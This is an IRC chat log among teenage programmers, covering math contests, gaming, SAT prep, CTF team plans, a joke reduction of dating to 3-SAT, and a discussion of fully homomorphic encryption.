[2015-01-12T21:54:30-0500] <+hardmath123> Sweet.
[2015-01-12T21:54:56-0500] <+Tamini> ooh
[2015-01-12T21:55:20-0500] <+hardmath123> On a similar but unrelated note, I hate Gauss-Jordan elimination.
[2015-01-12T22:04:15-0500] <alokpathy> I thought we always knew you were going to HMMT .-.
[2015-01-12T22:05:23-0500] <+Tamini> i could've not made the team
[2015-01-12T22:05:23-0500] <+Tamini> LOL
[2015-01-12T22:05:34-0500] <+Tamini> your faith in me makes me happy tho <3
[2015-01-12T22:06:30-0500] <alokpathy> That's not what I meant but okay LOL
[2015-01-12T22:06:37-0500] <alokpathy> This is why you just become an officer
[2015-01-12T22:06:44-0500] <alokpathy> so you're automatically on the team
[2015-01-12T22:06:46-0500] <+Tamini> we dont have officers just go
[2015-01-12T22:06:47-0500] <+Tamini> oh my god
[2015-01-12T22:06:49-0500] <+Tamini> like
[2015-01-12T22:06:53-0500] <+Tamini> later tonight when awe's back
[2015-01-12T22:06:54-0500] <alokpathy> no jk that's kinda bad LOL
[2015-01-12T22:06:58-0500] <+Tamini> lemme rant about this in fightclub
[2015-01-12T22:07:00-0500] <+Tamini> oh my god i am so angry
[2015-01-12T22:08:48-0500] <alokpathy> ?
[2015-01-12T22:59:02-0500] <+LittleBobbyTables> https://www.youtube.com/watch?v=5G9O9j0DSII&index=55&list=LL2LT5P6u3JLetfLk9MTNgwA
[2015-01-12T22:59:03-0500] <+LittleBobbyTables> nezorg
[2015-01-12T22:59:17-0500] <nezorg> ACK
[2015-01-12T23:01:57-0500] <nezorg> LittleBobbyTables: how the fuck is naga lvl 11 at 50min
[2015-01-12T23:02:49-0500] <ubuntor> RST
[2015-01-12T23:03:07-0500] <+LittleBobbyTables> timestamp?
[2015-01-12T23:03:22-0500] Mode is +ns
[2015-01-12T23:03:42-0500] <@awe> I am back
[2015-01-12T23:04:12-0500] <@awe> Tamini: SYN
[2015-01-12T23:04:32-0500] <+Tamini> awe: ACK
[2015-01-12T23:05:12-0500] <@awe> You're supposed to send SYN-ACK.
[2015-01-12T23:05:16-0500] <nezorg> "HE'S FERMENTING THE CHEESE"
[2015-01-12T23:06:02-0500] <@awe> Tamini does not meet the TCP spec.
[2015-01-12T23:07:00-0500] <+LittleBobbyTables> nezorg: aren't korean casters glorious?
[2015-01-12T23:07:39-0500] <+Tamini> oh
[2015-01-12T23:07:40-0500] <+Tamini> oops
[2015-01-12T23:07:41-0500] <+Tamini> :P
[2015-01-12T23:07:56-0500] <nezorg> LittleBobbyTables: indeed
[2015-01-12T23:08:04-0500] <+LittleBobbyTables> nezorg: https://www.youtube.com/watch?v=KuymfV-I6aU
[2015-01-12T23:08:10-0500] <+LittleBobbyTables> ^ v1lat
[2015-01-12T23:08:54-0500] <nezorg> <3
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[2015-01-12T23:18:16-0500] Set by Pidgey on December 30, 2014 at 1:25:17 PM EST
[2015-01-12T23:18:16-0500] Pidgey sets mode +o awe
[2015-01-12T23:18:16-0500] Mode is +ns
[2015-01-12T23:18:25-0500] <@awe> alokpathy: I asked Shannon to make an icon
[2015-01-12T23:18:37-0500] <@awe> Well, to design Pidgey.
[2015-01-12T23:19:17-0500] <alokpathy> Did she say yes? :O
[2015-01-12T23:20:18-0500] <+Tamini> lol
[2015-01-12T23:20:26-0500] <+Tamini> it sounds like he's asking her out, not asking her to design an icon
[2015-01-12T23:22:48-0500] JacobEdelman (uid15877@pdgn-dot.9lf.7cuf9e.IP) left IRC (Quit: Connection closed for inactivity)
[2015-01-12T23:22:55-0500] <@awe> No response yet.
[2015-01-12T23:24:39-0500] <+LittleBobbyTables> When are you going to sex her
[2015-01-12T23:25:00-0500] <+Tamini> i thought your bro's ex was off limits
[2015-01-12T23:25:36-0500] <+LittleBobbyTables> Depends how far back it is
[2015-01-12T23:26:01-0500] <+Tamini> last year iirc
[2015-01-12T23:26:02-0500] <alokpathy> I am increasingly feeling awkward.
[2015-01-12T23:26:08-0500] <+Tamini> hi alokpathy <3
[2015-01-12T23:26:09-0500] <alokpathy> LittleBobbyTables: It's been about uh
[2015-01-12T23:26:14-0500] <alokpathy> 7ish months
[2015-01-12T23:26:26-0500] <+LittleBobbyTables> That's like on the edge then imo
[2015-01-12T23:26:47-0500] <+Tamini> it depends on how long they dated tho
[2015-01-12T23:26:52-0500] <+LittleBobbyTables> For ya'll youngin's
[2015-01-12T23:27:00-0500] <+Tamini> you're like
[2015-01-12T23:27:07-0500] <+Tamini> two years older than me
[2015-01-12T23:27:18-0500] <+LittleBobbyTables> pls
[2015-01-12T23:29:30-0500] <+LittleBobbyTables> http://www.twitch.tv/beyondthesummit
[2015-01-12T23:54:14-0500] <nezorg> this is actually a really fun paper to read: http://arxiv.org/abs/1402.0761
[2015-01-12T23:55:42-0500] <alokpathy> Holy shit 51 pages
[2015-01-12T23:55:58-0500] <nezorg> well, yes, long :P
[2015-01-12T23:56:28-0500] <alokpathy> Oh there's this one paper I found that reduces Nintendo games to 3-SAT
[2015-01-12T23:57:29-0500] <+Tamini> you and
[2015-01-12T23:57:29-0500] <nezorg> nice :P
[2015-01-12T23:57:33-0500] <+Tamini> everything to 3-SAT
[2015-01-12T23:57:41-0500] <alokpathy> http://arxiv.org/pdf/1203.1895v1.pdf
[2015-01-12T23:57:42-0500] <+Tamini> didnt you try to reduce girls to 3-SAT too
[2015-01-12T23:57:52-0500] <nezorg> Tamini: sounds like a good idea to me
[2015-01-12T23:57:56-0500] <alokpathy> Very similar links LOL
[2015-01-12T23:58:04-0500] <alokpathy> Oh, yeah, I did.
[2015-01-12T23:59:06-0500] <nezorg> how'd it go?
[2015-01-12T23:59:22-0500] <alokpathy> Uhh I think I found a flaw in it but I'm trying to remember what it was.
[2015-01-12T23:59:40-0500] <alokpathy> Oh, wait, no. I think it's good.
[2015-01-12T23:59:48-0500] <nezorg> link to arxiv plz?
[2015-01-12T23:59:57-0500] <alokpathy> I haven't written it :P
[2015-01-13T00:00:01-0500] <alokpathy> I just sorta thought about it
[2015-01-13T00:00:23-0500] <nezorg> awww
[2015-01-13T00:00:27-0500] <nezorg> I'll edit it for ya
[2015-01-13T00:00:43-0500] <alokpathy> and it's very sketchy.
[2015-01-13T00:00:46-0500] <alokpathy> I basically said that like
[2015-01-13T00:01:12-0500] <alokpathy> To solve the GIRL problem, one most satisfy certain constraints
[2015-01-13T00:01:28-0500] <alokpathy> this can be mapped a 3-SAT instance clearly (which is the sketchy step idk how to get into more detail)
[2015-01-13T00:02:01-0500] <nezorg> well that sounds like the hard part
[2015-01-13T00:02:02-0500] <alokpathy> It was sort of like
[2015-01-13T00:02:04-0500] <+Tamini> lol
[2015-01-13T00:02:15-0500] <alokpathy> Every boolean variable is an action that you can take
[2015-01-13T00:02:31-0500] <alokpathy> and every clause is something that makes the girl happy
[2015-01-13T00:02:52-0500] <alokpathy> and you obviously want to satisfy all the clauses otherwise the girl is sad
[2015-01-13T00:03:13-0500] <nezorg> > plugs in actions
[2015-01-13T00:03:15-0500] <nezorg> > unsat
[2015-01-13T00:03:16-0500] <nezorg> > awwww
[2015-01-13T00:03:16-0500] <+Tamini> something something flowers chocolate right
[2015-01-13T00:03:30-0500] <alokpathy> Yeah something like that
[2015-01-13T00:03:39-0500] <alokpathy> so if you had an instance to GIRL just map it to the 3-SAT instance and check it
[2015-01-13T00:03:55-0500] <alokpathy> and if you had an instance to 3-SAT just try all the boolean variable actions on the girl
[2015-01-13T00:04:00-0500] <alokpathy> and see if she's happy.
[2015-01-13T00:04:20-0500] <nezorg> unsat all the time! :P
[2015-01-13T00:04:27-0500] <alokpathy> My only concern is the Girls Are Complicated Conjecture that says that a girl's reactions may not be her actual feelings.
[2015-01-13T00:04:59-0500] <nezorg> I think that's pretty much an axiom for relationships
[2015-01-13T00:05:04-0500] <alokpathy> Darn
[2015-01-13T00:05:15-0500] <alokpathy> so I guess my reduction fails.
[2015-01-13T00:05:18-0500] <nezorg> :'(
[2015-01-13T00:05:18-0500] <alokpathy> :(
[2015-01-13T00:05:31-0500] <nezorg> well tell me if you work out the kinks
[2015-01-13T00:05:36-0500] <nezorg> or disprove that conjecture
[2015-01-13T00:05:38-0500] <alokpathy> Alrighty xD
[2015-01-13T00:05:42-0500] <+Tamini> i can like
[2015-01-13T00:05:46-0500] <+Tamini> offer myself up at a guinea pig
[2015-01-13T00:05:55-0500] <+Tamini> for science
[2015-01-13T00:05:59-0500] <nezorg> did you see that times article on making yourself love someone? :P
[2015-01-13T00:06:03-0500] <+Tamini> oh yeaaah
[2015-01-13T00:06:09-0500] <+Tamini> wait were you the one that posted that?
[2015-01-13T00:06:15-0500] <nezorg> in here? I didn't post it
[2015-01-13T00:06:16-0500] <+Tamini> oh jk different irc network
[2015-01-13T00:06:20-0500] <nezorg> lol
[2015-01-13T00:06:22-0500] <+Tamini> the eye contact and intimate conversation thing
[2015-01-13T00:06:24-0500] <nezorg> it topped hn for a bit
[2015-01-13T00:06:26-0500] <+Tamini> see too many channels
[2015-01-13T00:06:27-0500] <+Tamini> ah
[2015-01-13T00:06:34-0500] <+Tamini> i have no idea why
[2015-01-13T00:06:41-0500] <+Tamini> but this gaming community i'm a part of
[2015-01-13T00:06:53-0500] <+Tamini> has an absurd amount of really smart people
[2015-01-13T00:06:57-0500] <+Tamini> makes me happy
[2015-01-13T00:07:01-0500] <+Tamini> makes me feel stupid, but happy
[2015-01-13T00:08:16-0500] <nezorg> gamers ∩ smartpeople ≠ ∅ ?!?!?!
[2015-01-13T00:08:22-0500] <+Tamini> ^^^^^
[2015-01-13T00:08:25-0500] <+Tamini> but they're all at like
[2015-01-13T00:08:35-0500] <+Tamini> top 10 unis/med school/law school/working
[2015-01-13T00:08:40-0500] <+Tamini> im just like
[2015-01-13T00:08:45-0500] <+Tamini> wat am i doin here o_____o
[2015-01-13T00:08:52-0500] <nezorg> ...what kind of gaming community is this
[2015-01-13T00:09:06-0500] <ubuntor> the best one?
[2015-01-13T00:09:18-0500] <nezorg> apparently
[2015-01-13T00:09:45-0500] <alokpathy> Well if you count league as a game
[2015-01-13T00:10:05-0500] <+Tamini> nezorg: well technically
[2015-01-13T00:10:13-0500] <+hardmath123> so i'm dangerously near 9 tabs on weechat
[2015-01-13T00:10:18-0500] <+Tamini> its an irc network based off of a gaming community's smaller niche
[2015-01-13T00:10:19-0500] <+hardmath123> and i don't know how to navigate more than 9
[2015-01-13T00:10:20-0500] <+Tamini> and lol
[2015-01-13T00:10:24-0500] <+hardmath123> because i'm like alt-number
[2015-01-13T00:10:26-0500] <+Tamini> time2learn <3
[2015-01-13T00:10:29-0500] <jwoglom> hardmath123: alt-j ##
[2015-01-13T00:10:33-0500] <+hardmath123> oh
[2015-01-13T00:10:37-0500] <+hardmath123> jwoglom: that sounds hard
[2015-01-13T00:10:39-0500] <nezorg> alt-j lol
[2015-01-13T00:10:45-0500] <jwoglom> it's not too bad :P
[2015-01-13T00:10:48-0500] <+LittleBobbyTables> alt-j is terrible, what the fuck
[2015-01-13T00:10:50-0500] <+Tamini> lol
[2015-01-13T00:10:52-0500] <+hardmath123> too much typing
[2015-01-13T00:11:01-0500] <jwoglom> then you can always /buffer ##
[2015-01-13T00:11:06-0500] <jwoglom> or /alias /buffer /b or whatever
[2015-01-13T00:11:12-0500] <nezorg> or even simpler
[2015-01-13T00:11:13-0500] <+hardmath123> yeah i think i'll doo that
[2015-01-13T00:11:14-0500] <nezorg> switch to ERC
[2015-01-13T00:11:20-0500] <+hardmath123> ERC?
[2015-01-13T00:11:21-0500] <jwoglom> but then you get the every once and a while
[2015-01-13T00:11:26-0500] <jwoglom>  /b 3
[2015-01-13T00:11:28-0500] <nezorg> hardmath123: emacs relay chat
[2015-01-13T00:11:29-0500] <jwoglom> arg
[2015-01-13T00:11:41-0500] <+hardmath123> i like my pinkies, tyvm.
[2015-01-13T00:11:47-0500] <nezorg> hardmath123: just get the pedals
[2015-01-13T00:11:50-0500] <+Tamini> lolol
[2015-01-13T00:11:52-0500] <+LittleBobbyTables> nezorg: but then you'd have to use emacs
[2015-01-13T00:12:05-0500] <+hardmath123> i somehow managed to injure my pinkes in vim
[2015-01-13T00:12:17-0500] <nezorg> LittleBobbyTables: > implying one wouldn't want to
[2015-01-13T00:13:29-0500] <nezorg> hardmath123: or get an ergodox
[2015-01-13T00:13:33-0500] <nezorg> I've been thinking about getting one
[2015-01-13T00:15:06-0500] <nezorg> actually
[2015-01-13T00:15:14-0500] <nezorg> I've been considering building my own keyboard
[2015-01-13T00:15:32-0500] <nezorg> I don't really like any designs I've seen
[2015-01-13T00:15:56-0500] <+Tamini> hardmath123: what did you do
[2015-01-13T00:16:08-0500] <+hardmath123> i was like
[2015-01-13T00:16:17-0500] <+hardmath123> *hits escape key hard*
[2015-01-13T00:16:19-0500] <+hardmath123> *misses*
[2015-01-13T00:16:24-0500] <+hardmath123> *overturns hot apple pie*
[2015-01-13T00:16:31-0500] <+Tamini> o-o
[2015-01-13T00:16:32-0500] <nezorg> LOL
[2015-01-13T00:16:37-0500] <+Tamini> you concern me sometimes
[2015-01-13T00:16:38-0500] <+hardmath123> *burns pinkie*
[2015-01-13T00:16:42-0500] <+Tamini> how are you like an alive and functional human being
[2015-01-13T00:16:43-0500] <+Tamini> LOL
[2015-01-13T00:16:53-0500] <+hardmath123> i'm not, i'm aspiring to be one, remember?
[2015-01-13T00:17:59-0500] <nezorg> did anyone actually look at that hott paper?
[2015-01-13T00:18:01-0500] <+Tamini> you dont want to be normal
[2015-01-13T00:18:05-0500] <+Tamini> you do want to be alive and functional
[2015-01-13T00:18:19-0500] <+hardmath123> instead of dead and imperative
[2015-01-13T00:20:35-0500] <+Tamini> ugh hm
[2015-01-13T00:20:40-0500] <+Tamini> of latin, orgo, and apush
[2015-01-13T00:20:48-0500] <+Tamini> if i should choose one thing to finish tonight what should it be
[2015-01-13T00:21:21-0500] <+hardmath123> you should choose reddit
[2015-01-13T00:21:32-0500] <nezorg> choose hott
[2015-01-13T00:21:34-0500] <+Tamini> not an option
[2015-01-13T00:21:36-0500] <+Tamini> tsk 
[2015-01-13T00:21:39-0500] <+Tamini> after doing one of those
[2015-01-13T00:21:47-0500] <+Tamini> ill do stuff until i fall asleep
[2015-01-13T00:22:00-0500] <+Tamini> im considering making myself a thermos of coffee for physics tmr 
[2015-01-13T00:22:44-0500] <nezorg> how often do you caffeinate yourself?
[2015-01-13T00:23:13-0500] <Pharyngeal> Was I pinged
[2015-01-13T00:23:39-0500] <+Tamini> i caffeinate myself very much
[2015-01-13T00:23:41-0500] <+Tamini> Pharyngeal: uhh yeah
[2015-01-13T00:23:45-0500] <+Tamini> awe wanted to see you at upenn
[2015-01-13T00:23:51-0500] <Pharyngeal> Oh, is awe here?
[2015-01-13T00:24:07-0500] <+Tamini> not right now iirc but yeah
[2015-01-13T00:24:11-0500] <Pharyngeal> Oh?
[2015-01-13T00:24:22-0500] <+Tamini> oh 
[2015-01-13T00:24:24-0500] <+Tamini> he was talking about
[2015-01-13T00:24:25-0500] <+Tamini> pennapps
[2015-01-13T00:24:28-0500] <+Tamini> sorry, im kinda tired
[2015-01-13T00:24:29-0500] <Pharyngeal> Ah okay
[2015-01-13T00:24:31-0500] <+Tamini> can't understand context
[2015-01-13T00:24:32-0500] <Pharyngeal> No worries
[2015-01-13T00:24:50-0500] <Pharyngeal> My scrollback is a bit short, apparentl
[2015-01-13T00:26:19-0500] <@awe> I'm here now.
[2015-01-13T00:26:33-0500] <@awe> Pharyngeal: but yeah, I'm going to be at UPenn this weekend
[2015-01-13T00:26:39-0500] <@awe> Pharyngeal: I figured it'd be cool to meet up
[2015-01-13T00:26:54-0500] <Pharyngeal> Oh cool
[2015-01-13T00:27:39-0500] <@awe> alokpathy: and JacobEdelman will also be there.
[2015-01-13T00:28:16-0500] <+Tamini> oh, this weekend?
[2015-01-13T00:28:26-0500] <+Tamini> damn, time flies
[2015-01-13T00:28:37-0500] <+Tamini> so gits is also this weekend
[2015-01-13T00:29:36-0500] <+hardmath123> i set up a gits team for our school
[2015-01-13T00:30:00-0500] <@awe> Pharyngeal: are you already back at school?
[2015-01-13T00:30:22-0500] <+hardmath123> everyone's like "ooh i'll do gits", though i'm pretty sure only two people will actually touch the website.
[2015-01-13T00:30:24-0500] <+hardmath123> so there's that
[2015-01-13T00:30:36-0500] <@awe> Yup.
[2015-01-13T00:30:41-0500] <@awe> Academic calendar says classes start tomorrow.
[2015-01-13T00:30:51-0500] <+Tamini> d'aww
[2015-01-13T00:30:54-0500] <+Tamini> if you didnt have a school team
[2015-01-13T00:30:57-0500] <+Tamini> i would abduct you for us
[2015-01-13T00:31:08-0500] <+Tamini> most of everyone i do stuff with is going to pennapps
[2015-01-13T00:31:13-0500] <nezorg> well I'm going to sleep
[2015-01-13T00:31:17-0500] <nezorg> because I like sleep
[2015-01-13T00:31:18-0500] <+Tamini> always earlier than me
[2015-01-13T00:31:19-0500] <+Tamini> :P
[2015-01-13T00:31:21-0500] <+Tamini> gnight, nezorg.
[2015-01-13T00:31:45-0500] <nezorg> gnight
[2015-01-13T00:32:10-0500] <nezorg> remind me to research the GIRL-->3-SAT problem
[2015-01-13T00:32:15-0500] <+hardmath123> Tamini: you can join us
[2015-01-13T00:32:25-0500] <+hardmath123> Tamini: one of our team members this kid in Colorado
[2015-01-13T00:32:33-0500] <+hardmath123> Tamini: there's no limit on team size
[2015-01-13T00:33:19-0500] <+Tamini> lolol
[2015-01-13T00:33:23-0500] <+Tamini> i have no idea how to do 
[2015-01-13T00:33:26-0500] <+Tamini> reversing stuff:D
[2015-01-13T00:33:31-0500] <+Tamini> aww, damn
[2015-01-13T00:33:34-0500] <+Tamini> bob_twinkles is gone
[2015-01-13T00:33:53-0500] <+Tamini> but yeah, if he plans to study for finals instead, i'm up for it
[2015-01-13T00:33:58-0500] <nezorg> you could play with 1064c if you wanted to
[2015-01-13T00:34:14-0500] <+Tamini> but i would feel like i was officially being carried
[2015-01-13T00:34:26-0500] <+Tamini> your team is too good :/
[2015-01-13T00:34:37-0500] <nezorg> nah
[2015-01-13T00:34:49-0500] <+Tamini> maaybe
[2015-01-13T00:34:56-0500] <+Tamini> if i come can i bring bob_twinkles
[2015-01-13T00:34:57-0500] <+Tamini> :D
[2015-01-13T00:34:59-0500] <+Tamini> join*
[2015-01-13T00:35:15-0500] <+hardmath123> yeah
[2015-01-13T00:35:17-0500] <nezorg> sure
[2015-01-13T00:35:18-0500] <+hardmath123> sure
[2015-01-13T00:35:43-0500] <nezorg> wait which were you talking about
[2015-01-13T00:36:19-0500] <+Tamini> uh
[2015-01-13T00:36:22-0500] <+Tamini> either
[2015-01-13T00:36:28-0500] <+Tamini> i have to ask bob_twinkles first
[2015-01-13T00:36:29-0500] <+hardmath123> lol
[2015-01-13T00:36:29-0500] <+Tamini> LOL
[2015-01-13T00:37:29-0500] <+Tamini> ...also wait
[2015-01-13T00:37:30-0500] <+Tamini> i just realized
[2015-01-13T00:37:37-0500] <+Tamini> this latin is LITERALLY 100 lines
[2015-01-13T00:37:38-0500] <+Tamini> asdjfhads
[2015-01-13T00:38:13-0500] <Pharyngeal> awe: Yes, I'm back. Not sure if I'll be around next weekend though, I'm supposed to be stuck in meetings and studying for an exam O_o 
[2015-01-13T00:38:27-0500] <nezorg> Tamini: and have fun
[2015-01-13T00:39:44-0500] <alokpathy> nezorg: We should turn 1064c into the pdgn team 
[2015-01-13T00:39:45-0500] <alokpathy> :D
[2015-01-13T00:39:53-0500] <nezorg> lol
[2015-01-13T00:40:23-0500] <+Tamini> lolol
[2015-01-13T00:40:24-0500] <+Tamini> i wish
[2015-01-13T00:40:29-0500] <+Tamini> but next year pico
[2015-01-13T00:40:32-0500] <+Tamini> we totally should ;)
[2015-01-13T00:40:52-0500] <alokpathy> If I end up going to CMU
[2015-01-13T00:40:55-0500] <alokpathy> I'll make it a rule.
[2015-01-13T00:40:56-0500] <alokpathy> :P
[2015-01-13T00:46:33-0500] <+Tamini> lolol
[2015-01-13T00:46:41-0500] <+Tamini> "they MUST compete as a team"
[2015-01-13T00:46:49-0500] <+Tamini> who's in high school next year even
[2015-01-13T00:47:00-0500] <+Tamini> me, nezorg, jacob, hardmath123 right
[2015-01-13T00:47:15-0500] <alokpathy> You, nezorg, hardmath123, JacobEdelman
[2015-01-13T00:47:40-0500] <alokpathy> jwogolom, maybe?
[2015-01-13T00:47:57-0500] <nezorg> ugh I should probably take my sat soon
[2015-01-13T00:48:09-0500] <nezorg> if only they just tested 3-sat
[2015-01-13T00:48:09-0500] <alokpathy> Probably :P
[2015-01-13T00:48:19-0500] <alokpathy> Something tells me you don't want them to do that LOL
[2015-01-13T00:48:30-0500] <nezorg> with one variable :P
[2015-01-13T00:48:44-0500] <nezorg> or term
[2015-01-13T00:48:45-0500] <nezorg> or whatever
[2015-01-13T00:48:50-0500] <nezorg> i can't vocab right now
[2015-01-13T00:49:53-0500] <alokpathy> Lol
[2015-01-13T00:49:53-0500] <alokpathy> Get the SAT out of the way :P
[2015-01-13T00:50:18-0500] <+LittleBobbyTables> What's High School?
[2015-01-13T00:50:26-0500] <+LittleBobbyTables> that's the thing I was in like 30 years ago, right
[2015-01-13T00:50:37-0500] <nezorg> probably should have taken it this month
[2015-01-13T00:51:06-0500] <+Tamini> nezorg: if you study
[2015-01-13T00:51:10-0500] <+Tamini> you should be fine honestly
[2015-01-13T00:51:22-0500] <+Tamini> 2400 isnt too difficult if you can be bothered to study for it
[2015-01-13T00:51:43-0500] <nezorg> i studied a couple months ago
[2015-01-13T00:51:48-0500] <alokpathy> Don't bother. Anything 2200+ is the same thing, essentially.
[2015-01-13T00:51:51-0500] <nezorg> still can't seem to always pick the right tone
[2015-01-13T00:51:56-0500] <+Tamini> cram a bit of vocab
[2015-01-13T00:51:59-0500] <+Tamini> i missed one in reading
[2015-01-13T00:52:02-0500] <+Tamini> and i still got an 800 there
[2015-01-13T00:52:04-0500] <+Tamini> so dont freak 
[2015-01-13T00:52:21-0500] <alokpathy> Arguably 2100+ 
[2015-01-13T00:53:54-0500] <jwoglom> gah sats
[2015-01-13T00:53:59-0500] <jwoglom> i'm taking the january one :-|
[2015-01-13T00:54:16-0500] <nezorg> I should have...
[2015-01-13T00:55:39-0500] <+Tamini> alokpathy: depends on what he wants
[2015-01-13T00:55:45-0500] <+Tamini> mit cares a lot, def
[2015-01-13T00:56:40-0500] <alokpathy> Ehh, I guess
[2015-01-13T00:56:46-0500] <alokpathy> MIT's an extreme with everything.
[2015-01-13T00:57:56-0500] <nezorg> and who knows what stanford wants :P
[2015-01-13T00:58:08-0500] <alokpathy> Oh, yeah, idk anything about Stanford.
[2015-01-13T00:58:17-0500] <alokpathy> Nobody from our school gets in.
[2015-01-13T00:58:27-0500] <nezorg> pretty much same here
[2015-01-13T00:58:30-0500] <alokpathy> And from what I've gathered, not many people from NJ get in.
[2015-01-13T00:58:33-0500] <alokpathy> Really?
[2015-01-13T00:58:36-0500] <nezorg> although one got in last year
[2015-01-13T00:58:42-0500] <alokpathy> Damn. I thought it was just an NJ thing.
[2015-01-13T00:58:55-0500] <nezorg> they're almost always sports stars
[2015-01-13T00:59:06-0500] <alokpathy> I thought Stanford takes most of theirs from CA
[2015-01-13T00:59:12-0500] <nezorg> idk
[2015-01-13T00:59:22-0500] <alokpathy> Oh, we had one guy from our rival high school get in last year for academics/leadership.
[2015-01-13T00:59:26-0500] <alokpathy> Like, normal stuff.
[2015-01-13T00:59:32-0500] <nezorg> ah
[2015-01-13T00:59:36-0500] <alokpathy> Other than that, it's been years since we've had a non-sports person get in.
[2015-01-13T00:59:58-0500] <nezorg> timeroot thinks if I manage to co-author a paper that would help for stanford
[2015-01-13T01:00:26-0500] <nezorg> hopefully that happens this year
[2015-01-13T01:01:03-0500] <nezorg> I have some cool research ideas but idk if they'll pan out
[2015-01-13T01:01:42-0500] <alokpathy> Research will definitely help.
[2015-01-13T01:10:28-0500] <+Tamini> find a mentor
[2015-01-13T01:10:29-0500] <+Tamini> asap
[2015-01-13T01:10:33-0500] <+Tamini> if you wanna do research
[2015-01-13T01:11:20-0500] <nezorg> well I'm talking about seclab stuff, I have a lab full of them :P
[2015-01-13T01:15:13-0500] <@awe> Pharyngeal: your semester just started and you've got an exam?
[2015-01-13T01:15:37-0500] <@awe> Pharyngeal: well, if you find the time, let me know and I'll tell you where we are.
[2015-01-13T01:15:56-0500] <+Tamini> oh true
[2015-01-13T01:27:21-0500] <Pharyngeal> +-+
[2015-01-13T01:27:24-0500] <Pharyngeal> oops
[2015-01-13T01:27:34-0500] <@awe> ??
[2015-01-13T01:27:50-0500] <Pharyngeal> awe: I was ill during an exam last semester (and that +-+ was my dropping something on my keyboard0
[2015-01-13T01:27:58-0500] <@awe> Oh, okay.
[2015-01-13T01:52:26-0500] <@awe> hardmath123: apparently, failedxyz is going to work on an IRCd.
[2015-01-13T01:52:27-0500] <@awe> hardmath123: https://github.com/failedxyz/heichat
[2015-01-13T01:54:33-0500] <+Tamini> ooh
[2015-01-13T01:58:28-0500] <@awe> I uhh...
[2015-01-13T01:58:28-0500] <@awe> what?
[2015-01-13T01:58:29-0500] <@awe> https://github.com/failedxyz/jsos
[2015-01-13T01:58:43-0500] <@awe> He has 8 stars and 6 watchers on a project with just a README.
[2015-01-13T02:12:50-0500] <ubuntor> lol
[2015-01-13T02:13:53-0500] <@awe> http://failedxyz.github.io/gpp/
[2015-01-13T02:14:00-0500] <@awe> (I'm stalking failedxyz right now)
[2015-01-13T02:14:04-0500] <@awe> This project is buns.
[2015-01-13T02:14:12-0500] <@awe> The ranking system makes NO sense.
[2015-01-13T02:15:47-0500] <@awe> My project with 31 stars, 4 forks, and 241 commits scores substantially lower than a project with 2 stars, 0 forks, and 195 commits.
[2015-01-13T02:16:06-0500] <@awe> Why? Because the scoring is somehow related to the age of the repository
[2015-01-13T02:16:47-0500] <@awe> and while almost all of the work on the former was done in the same time frame as the later, the repository of the former was created more than a month earlier and had a few commits at that time.
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[2015-01-13T10:09:25-0500] <+JacobEdelman> crypto is basicly over
[2015-01-13T10:09:26-0500] <+JacobEdelman> https://github.com/shaih/HElib
[2015-01-13T10:10:50-0500] <+JacobEdelman> basicly, I can give a you encrypted data and you will be able to do computations on it whithout learning anything about the data I give you
[2015-01-13T10:11:17-0500] <+JacobEdelman> you will than get the encypted result which only I will be able to read
[2015-01-13T10:11:55-0500] <+JacobEdelman> (well, all this assumes you have computational power that is polynomial on my power)
[2015-01-13T10:12:03-0500] <+JacobEdelman> (and some hardness assumptions)
[2015-01-13T10:12:18-0500] <+JacobEdelman> right now it's really slow
[2015-01-13T10:12:34-0500] <+JacobEdelman> but basicly anything you could ever want to do in crypto can be done with this
[2015-01-13T10:12:42-0500] <+JacobEdelman> it's called fully homorphic encryption
[2015-01-13T10:13:03-0500] <+JacobEdelman> (ps. it allows cryptographically secure obfuscation)
[2015-01-13T10:14:17-0500] <+hardmath123> is it fast?
[2015-01-13T10:17:20-0500] <+JacobEdelman> ummm... not really
[2015-01-13T10:17:29-0500] <+JacobEdelman> if it was crypto would be completely over
[2015-01-13T10:17:36-0500] <+JacobEdelman> I mean, its big O is poly
[2015-01-13T10:19:18-0500] <+JacobEdelman> but right now it can run the aes cypher in ~2 seconds (well, it can run it 120 times at once on diff input in 4 minutes, cause I guess doing the algo multiple times doesn't give a big minus or something...)
[2015-01-13T10:20:43-0500] <+JacobEdelman> but they've been improving it a lot
[2015-01-13T10:21:13-0500] <+JacobEdelman> I first hear about it 2 years ago or so, when everybody said it wasn't anywhere near useful and might not be for decades
[2015-01-13T10:40:06-0500] <Hyper> JacobEdelman: I'll believe "crypto is basically over" when multiple people who know their shit say it :)
[2015-01-13T10:40:39-0500] <+JacobEdelman> hmmm... I mean, implementatin and speed are still left
[2015-01-13T10:40:47-0500] <+JacobEdelman> and quantum computers might cause problems
[2015-01-13T10:40:55-0500] <+JacobEdelman> (not too many though)
[2015-01-13T10:41:06-0500] <+JacobEdelman> but with homorphic encryption...
[2015-01-13T10:42:09-0500] <Hyper> so what should I be studying for my google interview in 6 hours?
[2015-01-13T10:42:09-0500] <+JacobEdelman> I can, for example, give you a program that will only work when one of it's inputs is a certain string that only I know
[2015-01-13T10:42:20-0500] <+JacobEdelman> Hyper: programming
[2015-01-13T10:42:24-0500] <+JacobEdelman> :P
[2015-01-13T10:42:25-0500] <Hyper> wow thanks
[2015-01-13T10:42:45-0500] <+JacobEdelman> ummm... study hackernews
[2015-01-13T10:42:49-0500] <+JacobEdelman> there's always good stuff there
[2015-01-13T10:42:50-0500] <Hyper> I've been implementing a fair number of data structures for simple practice
[2015-01-13T10:42:51-0500] <+JacobEdelman> :P
[2015-01-13T10:42:57-0500] <+JacobEdelman> ah, that's probaly good
[2015-01-13T10:43:27-0500] <Hyper> I should probably implement quicksort and mergesort heh
[2015-01-13T10:43:42-0500] <+JacobEdelman> hmm.... sorted priority queues?
[2015-01-13T10:44:23-0500] <+JacobEdelman> (where I can add in an element at a certain priority, which will than be added to the queue which is  sorted by that priority and then by the value of the element)
[2015-01-13T10:44:37-0500] <Hyper> that's not really difficult though
[2015-01-13T10:44:48-0500] <+JacobEdelman> I guess not.... but neither is mergesort :P
[2015-01-13T10:44:53-0500] <+JacobEdelman> do timsort
[2015-01-13T10:44:58-0500] <Hyper> yeah, it's more implementation practice
[2015-01-13T10:45:01-0500] <+JacobEdelman> https://en.wikipedia.org/wiki/Timsort
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[2015-01-13T02:16:39-0500] <@awe> and while almost all of the work on the former was done in the same time frame as the later, the repository of the former was created more than a month earlier and had a few commits at that time.
[2015-01-13T10:09:25-0500] <+JacobEdelman> crypto is basicly over
[2015-01-13T10:09:26-0500] <+JacobEdelman> https://github.com/shaih/HElib
